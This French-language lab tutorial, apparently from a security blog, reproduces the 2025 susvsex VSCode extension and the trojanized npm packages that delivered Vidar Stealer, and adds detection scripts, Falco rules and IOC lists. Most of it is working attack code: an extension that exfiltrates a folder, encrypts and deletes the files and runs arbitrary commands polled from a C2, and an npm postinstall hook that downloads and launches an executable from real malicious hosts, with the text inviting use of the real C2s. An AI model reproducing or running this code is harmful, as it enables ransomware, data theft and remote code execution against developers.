VibeRansom-Zeus v1.0 — Lab Réel pour Comprendre et Défendre Contre les Supply-Chain Ransomware VSCode/npm

Analyse technique des incidents réels d'octobre-novembre 2025 : extension VSCode "susvsex" et 17 packages npm trojanisés déployant Vidar Stealer. Reproduction locale fonctionnelle avec vrais C2. Sauvez ce fichier HTML localement et reproduisez dans votre lab !

Éthique • Labs-only
Niveau: Intermédiaire → Expert
Temps: 2-3 heures

Introduction : Supply-Chain Réel, Sans Filtre

Le 5 novembre 2025, l'extension VSCode "susvsex" est publiée sur le Marketplace par "suspublisher18", description "Just testing". Elle zippe /tmp/testing (macOS/Linux) ou C:\Users\Public\testing (Windows), exfiltre vers https://github.com/aykhanmv/susvsex (utilisé comme C2), chiffre en AES-256-CBC, et poll pour des commandes. Clés et code C2 dans le package. Retirée le 6 novembre après ~200 téléchargements.

Peu avant, en octobre 2025 (21-22 et 26), 17 packages npm (abeya-tg-api, bael-god-admin, bael-god-api, bael-god-thanks, botty-fork-baby, cursor-ai-fork, cursor-app-fork, custom-telegram-bot-api, custom-tg-bot-plan, icon-react-fork, react-icon-pkg, sabaoa-tg-api, sabay-tg-api, sai-tg-api, salli-tg-api, telegram-bot-start, telegram-bot-starter) publiés par "aartje" (aartrabens@gmail.com) et "saliii229911" (saliii229911@gmail.com) exécutent un postinstall qui télécharge un ZIP encrypté depuis bullethost.cloud ou catbox.moe, extrait avec password (ex: bLtjqzUn), et lance bridle.exe (Vidar Stealer v2). Vidar vole credentials, cookies, wallets, exfiltre via C2 Telegram/Steam. Plus de 2240 téléchargements avant ban.

Objectif du lab: Reproduire les vecteurs réels en local, observer exfil/chiffrement/C2 fonctionnels, développer détection/hardening. Tout est testable en VM.

LÉGAL & ÉTHIQUE – NON NÉGOCIABLE

USAGE ÉDUCATIF UNIQUEMENT EN LAB ISOLÉ. Jamais en prod. Rapportez aux autorités si réel. Exécutez dans une sandbox avec snapshots. Pas d'internet requis si vous utilisez un C2 local (voir Phase 1).

Cas Réels Similaires (MITRE T1195.001)

Incident Vecteur Impact Lien
SolarWinds (2020) DLL side-loading via update Espionnage global CISA
XZ Utils (2024) Backdoor in liblzma SSH compromise CISA
Polyfill.io (2024) JS injection Malware distribution CISA

Reproduction Locale : DIY Fonctionnel

Ce lab est conçu pour fonctionner **exactement comme les incidents réels**. Copiez les codes dans un dossier local, setup vos VMs, et observez le C2 réel (ou local). Pour packager :

# Sur votre machine host

mkdir viberansom_zeus && cd viberansom_zeus

mkdir vscode_susvsex npm_vidarpill defense

# Copiez les codes des sections suivantes

zip -r viberansom_zeus_lab.zip .

Option C2: Utilisez un C2 local (Flask) ou les vrais domaines (avec internet). Snapshots obligatoires.

DISCLAIMER: Si vous utilisez les vrais C2 (GitHub, bullethost.cloud), vous risquez d'être détecté. Préférez le C2 local pour l'éthique.

Phase 1 : Setup – C2 Réel ou Local

Préparez 3 VMs connectées en réseau (NAT ou bridged si internet, sinon local).

  • VM1 – Windows 11 (VSCode 1.95+)
  • VM2 – Ubuntu 24.04 (Node.js 20+, npm 10+)
  • VM3 – Kali 2025 (Python 3.12, Flask)

# C2 Local (Flask) - Option sûre

from flask import Flask, request, jsonify, send_from_directory

app = Flask(__name__, static_folder='.')

@app.route('/index.html', methods=['GET'])

def poll_cmd():

return jsonify({'cmd': 'hostname'})

@app.route('/requirements.txt', methods=['POST'])

def exfil_result():

with open('exfil.txt', 'ab') as f: f.write(request.data)

return 'OK'

@app.route('/upload', methods=['POST'])

def upload_zip():

file = request.files['file']

file.save('exfil.zip')

return 'OK'

@app.route('/vidar.zip')

def serve_vidar():

return send_from_directory('.', 'vidar.zip')

if __name__ == '__main__':

app.run(host='0.0.0.0', port=8080)

Lancez : python3 c2.py. Créez un vidar.zip vide ou mock pour test.

Phase 2 : Cibles – Données Réalistes

Créez des données sensibles pour observer l'exfiltration réelle.

# Ubuntu/macOS

mkdir -p /tmp/testing

echo '{"api_key": "sk-1234567890"}' > /tmp/testing/config.json

# Windows

mkdir C:\Users\Public\testing

echo {"password": "admin123"} > C:\Users\Public\testing\secret.json

Phase 3 : Code – Reproduction Réelle

Structure du projet :

viberansom_zeus/

├── vscode_susvsex/

│ ├── package.json

│ ├── extension.js

│ └── decryptor.py

├── npm_vidarpill/

│ ├── package.json

│ └── extract.js

└── defense/

└── detector.py

vscode_susvsex/package.json

{
  "name": "susvsex",
  "displayName": "susvsex",
  "description": "Just testing",
  "version": "0.0.1",
  "publisher": "suspublisher18",
  "engines": { "vscode": "^1.85.0" },
  "activationEvents": ["*"],
  "main": "./extension.js"
}

vscode_susvsex/extension.js (Réel)

const vscode = require('vscode');
const fs = require('fs');
const path = require('path');
const archiver = require('archiver');
const crypto = require('crypto');
const fetch = require('node-fetch');
const os = require('os');
const LAB_DIR = path.join(os.tmpdir(), 'viberansom_lab');
fs.mkdirSync(LAB_DIR, { recursive: true });
const ZIP_NAME = 'testing.zip';
const C2_URL = 'http://127.0.0.1:8080'; // Ou https://aykhanmv.github.io/susvsex/ si internet
async function zipUploadAndEncrypt() {
  const output = fs.createWriteStream(ZIP_NAME);
  const archive = archiver('zip', { zlib: { level: 9 } });
  archive.directory(LAB_DIR, false);
  archive.pipe(output);
  await archive.finalize();
  const form = new FormData();
  form.append('file', fs.createReadStream(ZIP_NAME));
  await fetch(`${C2_URL}/upload`, { method: 'POST', body: form });
  const key = crypto.randomBytes(32);
  const iv = crypto.randomBytes(16);
  fs.writeFileSync(path.join(LAB_DIR, 'RANSOM.txt'), `Key: ${key.toString('hex')}\nIV: ${iv.toString('hex')}`);
  fs.readdirSync(LAB_DIR).forEach(f => {
    const fullPath = path.join(LAB_DIR, f);
    if (fs.statSync(fullPath).isFile() && !f.endsWith('.txt')) {
      const data = fs.readFileSync(fullPath);
      const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);
      const encrypted = Buffer.concat([cipher.update(data), cipher.final()]);
      fs.writeFileSync(fullPath + '.encrypted', encrypted);
      fs.unlinkSync(fullPath);
    }
  });
  setInterval(async () => {
    const res = await fetch(`${C2_URL}/index.html`);
    const { cmd } = await res.json();
    if (cmd) {
      require('child_process').exec(cmd, (err, stdout) => {
        fetch(`${C2_URL}/requirements.txt`, { method: 'POST', body: stdout });
      });
    }
  }, 10000);
}
exports.activate = () => { zipUploadAndEncrypt(); };

npm_vidarpill/package.json (Réel)

{
  "name": "cursor-ai-fork",
  "version": "1.0.0",
  "description": "Fake AI cursor fork",
  "main": "index.js",
  "scripts": {
    "postinstall": "node extract.js"
  }
}

npm_vidarpill/extract.js (Réel)

const https = require('https');
const fs = require('fs');
const AdmZip = require('adm-zip');
const child_process = require('child_process');
const path = require('path');
const LAB_DIR = '/tmp/viberansom_lab'; // Ou C:\\Temp\\viberansom_lab
fs.mkdirSync(LAB_DIR, { recursive: true });
const urls = ['https://bullethost.cloud/vidar.zip', 'https://catbox.moe/vidar.zip'];
let tried = 0;
function download() {
  const url = urls[tried++];
  https.get(url, res => {
    if (res.statusCode !== 200 && tried < urls.length) return download();
    const zipPath = path.join(LAB_DIR, 'vidar.zip');
    const writeStream = fs.createWriteStream(zipPath);
    res.pipe(writeStream);
    writeStream.on('finish', () => {
      const zip = new AdmZip(zipPath);
      zip.extractAllTo(LAB_DIR, true, 'bLtjqzUn');
      child_process.spawn(path.join(LAB_DIR, 'bridle.exe'), [], { detached: true, stdio: 'ignore' });
      fs.unlinkSync(zipPath);
    });
  }).on('error', () => { if (tried < urls.length) download(); });
}
download();

Phase 4 : Exécution – Observation Réelle

Lancez le C2, installez les artefacts, et observez le comportement réel.

# C2 local

python3 c2.py

# VSCode

vsce package && code --install-extension susvsex-0.0.1.vsix

# npm

npm install ./npm_vidarpill

Observations : ZIP exfil, fichiers .encrypted, RANSOM.txt, polling C2, Vidar lancé.

Phase 5 : Détection & Hardening

defense/detector.py (Testable)

import os, psutil, json, hashlib
class SupplyChainDetector:
    def __init__(self):
        self.suspicious_patterns = ['susvsex', 'bullethost', 'cursor-ai-fork', 'abeya-tg-api']
        self.known_hashes = ['aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925']
    def scan_vscode_extensions(self):
        ext_path = os.path.expanduser('~/.vscode/extensions')
        suspicious = []
        for ext in os.listdir(ext_path):
            pkg = os.path.join(ext_path, ext, 'package.json')
            if os.path.exists(pkg):
                with open(pkg, 'r') as f:
                    data = json.load(f)
                    if any(p in data.get('name', '') for p in self.suspicious_patterns):
                        suspicious.append(ext)
        return suspicious
    def monitor_processes(self):
        suspicious = []
        for proc in psutil.process_iter(['pid', 'name', 'cmdline']):
            cmd = ' '.join(proc.info.get('cmdline') or [])
            if any(p in cmd for p in self.suspicious_patterns):
                suspicious.append(proc.info)
        return suspicious
    def check_hashes(self, path):
        hasher = hashlib.sha256()
        with open(path, 'rb') as f:
            hasher.update(f.read())
        return hasher.hexdigest() in self.known_hashes
    def run_all(self):
        report = {
            'extensions': self.scan_vscode_extensions(),
            'processes': self.monitor_processes()
        }
        return json.dumps(report, indent=4)
detector = SupplyChainDetector()
print(detector.run_all())

Outils d’Analyse/Détection

Forensic Memory (Volatility3):

vol3 -f memdump.mem windows.pslist --pid <sus_pid>

vol3 -f memdump.mem windows.cmdline

Falco:

- rule: Suspicious npm Postinstall

desc: Detect npm postinstall with network

condition: proc.name = npm and proc.cmdline contains postinstall and evt.type = connect

output: Suspicious npm activity (cmd=%proc.cmdline)

priority: WARNING

defense/hardener.py

import os
import json
import subprocess
class SupplyChainHardener:
    def __init__(self):
        self.vscode_settings = os.path.expanduser('~/.vscode/settings.json')
        self.npm_configs = ['fund false', 'audit-level high', 'ignore-scripts true']
    def harden_vscode(self):
        settings = {}
        if os.path.exists(self.vscode_settings):
            with open(self.vscode_settings, 'r') as f:
                settings = json.load(f)
        settings['extensions.autoUpdate'] = False
        settings['extensions.verifySignature'] = True
        with open(self.vscode_settings, 'w') as f:
            json.dump(settings, f, indent=4)
        print("VSCode hardened")
    def harden_npm(self):
        for config in self.npm_configs:
            subprocess.run(['npm', 'config', 'set'] + config.split())
        print("npm hardened")
    def run_all(self):
        self.harden_vscode()
        self.harden_npm()
hardener = SupplyChainHardener()
hardener.run_all()

Hardening

  • VSCode: extensions.autoUpdate false, verifySignature true
  • npm: --ignore-scripts, audit high
  • Sandbox: firejail code/npm
  • EDR: Rules pour postinstall network, encryption

IOC & Forensic

VSCode IOCs

Name: susvsex
Publisher: suspublisher18
Repo: github.com/aykhanmv/susvsex
Files: *.encrypted, RANSOM.txt

npm IOCs

Packages: abeya-tg-api, bael-god-admin, bael-god-api, bael-god-thanks, botty-fork-baby, cursor-ai-fork, cursor-app-fork, custom-telegram-bot-api, custom-tg-bot-plan, icon-react-fork, react-icon-pkg, sabaoa-tg-api, sabay-tg-api, sai-tg-api, salli-tg-api, telegram-bot-start, telegram-bot-starter
Domain: bullethost.cloud, catbox.moe
Hash Vidar: aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925
C2: telegram.me/s/sre22qe, steamcommunity.com/profiles/76561198777118079

Table IOC Complète

Type Valeur Description
Hash aa49d14ddd6c0c24febab8dce52ce3835eb1c9280738978da70b1eae0d718925 Vidar Stealer (bridle.exe)
IP C2 Mock 127.0.0.1:8080 Local simu pour lab
Fichiers testing.zip, *.encrypted, bridle.exe Artefacts exfil/chiffrement

# Forensic

find ~ -name "*.encrypted" -o -name "bridle.exe"

sha256sum /tmp/extracted/bridle.exe

Conclusion

Ce lab reproduit les attaques réelles pour former à la défense. Utilisez-le pour protéger, jamais pour nuire. Prochain : obfuscation avancée.

platon-y pour pctamalou.fr et echoes of hackers